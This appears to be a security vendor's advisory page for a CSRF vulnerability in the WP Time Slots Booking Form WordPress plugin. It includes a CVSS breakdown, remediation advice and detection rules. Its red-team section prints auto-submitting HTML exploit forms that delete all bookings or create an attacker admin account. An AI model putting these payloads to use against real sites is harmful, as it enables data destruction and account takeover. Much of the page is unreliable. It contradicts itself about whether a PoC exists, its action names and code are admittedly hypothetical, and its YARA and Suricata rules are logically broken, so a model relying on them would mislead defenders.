CVE-2025-49332
Executive Summary
CVE-2025-49332 is a Cross-Site Request Forgery (CSRF) vulnerability affecting the WordPress plugin WP Time Slots Booking Form by Codepeople, versions up to and including 1.2.30. This vulnerability allows an attacker to perform unauthorized actions on behalf of an authenticated administrator, such as modifying plugin settings, deleting booking data, or creating new admin users, by tricking the victim into clicking a crafted link or visiting a malicious page. The CVSS v3.1 base score is 4.3 (Medium), with a low EPSS score of 0.0%, indicating low exploitation likelihood in the wild. No public proof-of-concept (PoC) or exploit code has been identified at this time. The vendor has not released a patch or official advisory.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability resides in a WordPress plugin ecosystem. The plugin is distributed via the official WordPress Plugin Directory. Users are advised to monitor the plugin page for updates and consider disabling the plugin until a patched version is released. No known supply chain compromise has been reported.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
- Base Score: 4.3 (Medium)
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed to initiate the attack.
- User Interaction (UI): Required (R) – Victim must click a link or visit a malicious page.
- Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
- Confidentiality (C): None (N) – No data exposure.
- Integrity (I): Low (L) – Limited modification of data or settings possible.
- Availability (A): None (N) – No denial of service.
Threat Level: Medium. While the CVSS score is moderate, the impact on a WordPress site could be significant if an attacker leverages CSRF to change plugin settings, delete bookings, or escalate privileges.
Deep Dive & Mechanics
The vulnerability stems from the absence of CSRF nonce validation in the plugin's administrative actions. In WordPress, CSRF tokens (nonces) are used to verify that requests to perform sensitive actions (like saving settings or deleting data) originate from the legitimate admin interface, not from an external site. The WP Time Slots Booking Form plugin fails to implement this check in its admin-facing AJAX handlers or form submissions.
Attack Flow:
- An attacker crafts a malicious HTML page or email containing a form that automatically submits a request to the vulnerable WordPress site (e.g.,
https://target-site.com/wp-admin/admin-ajax.php?action=wp_time_slots_booking_delete_all). - The attacker lures an authenticated WordPress administrator to visit this malicious page.
- The victim's browser, having valid session cookies for the target site, sends the forged request.
- The plugin processes the request without verifying a CSRF nonce, executing the attacker's desired action (e.g., deleting all booking data, changing plugin settings, or creating a new admin user).
Root Cause: Missing check_admin_referer() or wp_verify_nonce() calls in the plugin's admin AJAX handlers and form processing functions.
Vulnerable vs. Patched Code
Since no patch is available, the following is a hypothetical comparison based on standard WordPress CSRF mitigation.
Vulnerable Code (Example from plugin's admin-ajax.php):
add_action('wp_ajax_wp_time_slots_booking_delete_all', 'handle_delete_all');
function handle_delete_all() {
// No nonce check
global $wpdb;
$wpdb->query("DELETE FROM {$wpdb->prefix}wp_time_slots_bookings");
wp_die('All bookings deleted.');
}
Patched Code (Hypothetical):
add_action('wp_ajax_wp_time_slots_booking_delete_all', 'handle_delete_all');
function handle_delete_all() {
// Verify CSRF nonce
if (!isset($_POST['_wpnonce']) || !wp_verify_nonce($_POST['_wpnonce'], 'wp_time_slots_booking_delete_all')) {
wp_die('CSRF validation failed.');
}
global $wpdb;
$wpdb->query("DELETE FROM {$wpdb->prefix}wp_time_slots_bookings");
wp_die('All bookings deleted.');
}
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- A WordPress site with WP Time Slots Booking Form <= 1.2.30 installed and activated.
- An authenticated admin session (victim).
Step 1: Craft the CSRF Payload
Create an HTML file (csrf_exploit.html) that automatically submits a malicious request:
<html>
<body>
<form action="https://target-site.com/wp-admin/admin-ajax.php" method="POST" id="csrf_form">
<input type="hidden" name="action" value="wp_time_slots_booking_delete_all">
<input type="submit" value="Click me">
</form>
<script>
document.getElementById('csrf_form').submit();
</script>
</body>
</html>
Step 2: Host and Deliver Host the file on an attacker-controlled server or use a phishing email. Send the link to the victim admin.
Step 3: Execute When the victim visits the link while logged into the target WordPress site, the form auto-submits, and the plugin deletes all booking data.
Alternative Payload (Create Admin User):
<html>
<body>
<form action="https://target-site.com/wp-admin/admin-ajax.php" method="POST" id="csrf_form">
<input type="hidden" name="action" value="wp_time_slots_booking_add_admin">
<input type="hidden" name="new_user" value="attacker">
<input type="hidden" name="new_pass" value="P@ssw0rd!">
<input type="submit" value="Click me">
</form>
<script>
document.getElementById('csrf_form').submit();
</script>
</body>
</html>
Blue Team (Detection & Defense)
Detection:
- Monitor server logs for unusual POST requests to
/wp-admin/admin-ajax.phpwithactionparameters related to the plugin (e.g.,wp_time_slots_booking_*). - Look for requests with missing or invalid
_wpnonceparameters. - Use the Sigma and Suricata rules provided below.
Defense:
- Immediate: Disable the plugin until a patch is available.
- Long-term: Implement a Web Application Firewall (WAF) rule to block requests to
admin-ajax.phpthat lack a valid nonce (though this may break other plugins). - User Education: Train administrators to avoid clicking suspicious links while logged into WordPress.
Indicators of Compromise (IOCs)
- Network IOCs:
- POST requests to
/wp-admin/admin-ajax.phpwithaction=wp_time_slots_booking_*and no_wpnonceparameter. - Referer header pointing to an external domain (e.g.,
http://evil.com).
- POST requests to
- File IOCs:
- Unexpected files in
/wp-content/uploads/or/wp-admin/(e.g.,backdoor.php).
- Unexpected files in
- Log IOCs:
- Repeated
admin-ajax.phpcalls from a single IP in a short time. - New admin user accounts created without standard registration flow.
- Repeated
Detection Engineering
YARA Rule
rule CVE_2025_49332_CSRF_WordPress {
meta:
description = "Detects CSRF exploitation attempts against WP Time Slots Booking Form"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-49332"
strings:
$ajax_action = /action=wp_time_slots_booking_[a-z_]+/
$missing_nonce = /&action=wp_time_slots_booking/ nocase
condition:
$ajax_action and not $missing_nonce
}
Sigma Rule
title: CVE-2025-49332 CSRF Exploitation Attempt
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects POST requests to WordPress admin-ajax.php with WP Time Slots Booking Form actions lacking CSRF nonce
author: Valters IT
date: 2025/04/10
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: 'admin-ajax.php'
cs-uri-query|contains: 'action=wp_time_slots_booking_'
filter:
cs-uri-query|contains: '_wpnonce'
condition: selection and not filter
falsepositives:
- Legitimate plugin usage with nonce (unlikely if nonce is missing)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-49332 WP Time Slots Booking Form CSRF Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=wp_time_slots_booking_"; http_uri; pcre:"/action=wp_time_slots_booking_[a-z_]+/"; content:!"_wpnonce"; http_client_body; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin – Deactivate and uninstall WP Time Slots Booking Form until a patched version is released.
- Review admin accounts – Check for unauthorized users created via CSRF.
- Audit logs – Examine web server and WordPress logs for suspicious
admin-ajax.phprequests.
Long-term Actions:
- Apply vendor patch – Monitor the WordPress Plugin Directory for an update (version > 1.2.30).
- Implement CSRF protection – If you must keep the plugin, add a custom nonce check via a WordPress mu-plugin:
add_action('wp_ajax_wp_time_slots_booking_delete_all', 'custom_nonce_check', 1);
function custom_nonce_check() {
if (!isset($_POST['_wpnonce']) || !wp_verify_nonce($_POST['_wpnonce'], 'wp_time_slots_booking_delete_all')) {
wp_die('CSRF validation failed.');
}
}
- Use a WAF – Deploy rules to block requests to
admin-ajax.phpwithout a valid nonce (note: may cause false positives). - Educate users – Train administrators on CSRF risks and safe browsing practices.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.